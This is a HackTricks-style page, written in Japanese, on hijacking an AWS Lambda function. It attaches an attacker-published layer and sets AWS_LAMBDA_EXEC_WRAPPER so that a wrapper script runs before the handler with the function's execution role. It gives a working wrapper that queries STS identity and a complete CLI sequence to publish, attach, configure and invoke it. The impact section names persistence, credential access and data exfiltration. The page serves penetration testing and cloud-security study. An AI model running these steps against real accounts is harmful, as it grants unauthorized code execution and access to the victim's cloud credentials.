# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

{{#include ../../../../banners/hacktricks-training.md}}

## 概要

環境変数 `AWS_LAMBDA_EXEC_WRAPPER` を悪用して、runtime/handler が開始する前に攻撃者が制御するラッパースクリプトを実行します。ラッパーは Lambda Layer の `/opt/bin/htwrap` に配置し、`AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` に設定してから関数を呼び出します。ラッパーは関数の runtime プロセス内で実行され、関数の実行ロールを継承し、最後に実際の runtime を `exec` して元のハンドラーが通常通り実行されるようにします。

> [!WARNING]
> この手法は、対象の Lambda におけるコード実行を可能にします。ソースコードやロールを変更せず、`iam:PassRole` を必要としません。必要なのは関数の設定を更新し、レイヤーを公開／アタッチする権限だけです。

## 必要な権限（攻撃者）

- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction`（または既存のイベント経由でトリガー）
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion`（同一アカウント）および、クロスアカウント／公開レイヤーを使用する場合はオプションで `lambda:AddLayerVersionPermission`

## ラッパースクリプト

レイヤー内の `/opt/bin/htwrap` にラッパーを配置します。ハンドラー実行前の処理を実行でき、実際の runtime にチェインするために最後は `exec "$@"` で終わる必要があります。
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## 攻撃手順 (CLI)

<details>
<summary>レイヤーをpublishして、ターゲット関数にattachし、wrapperを設定してinvokeする</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)

# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"

# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>

## 影響

- 関数の既存の実行ロールを使用して、Lambda ランタイムコンテキスト内でハンドラ実行前にコードが実行される。
- 関数コードやロールの変更は不要。Python、Node.js、Java、.NET といった一般的なマネージドランタイムで動作する。
- ハンドラ実行前に永続化、資格情報アクセス（例: STS）、データの持ち出し、ランタイムの改ざんを可能にする。

{{#include ../../../../banners/hacktricks-training.md}}
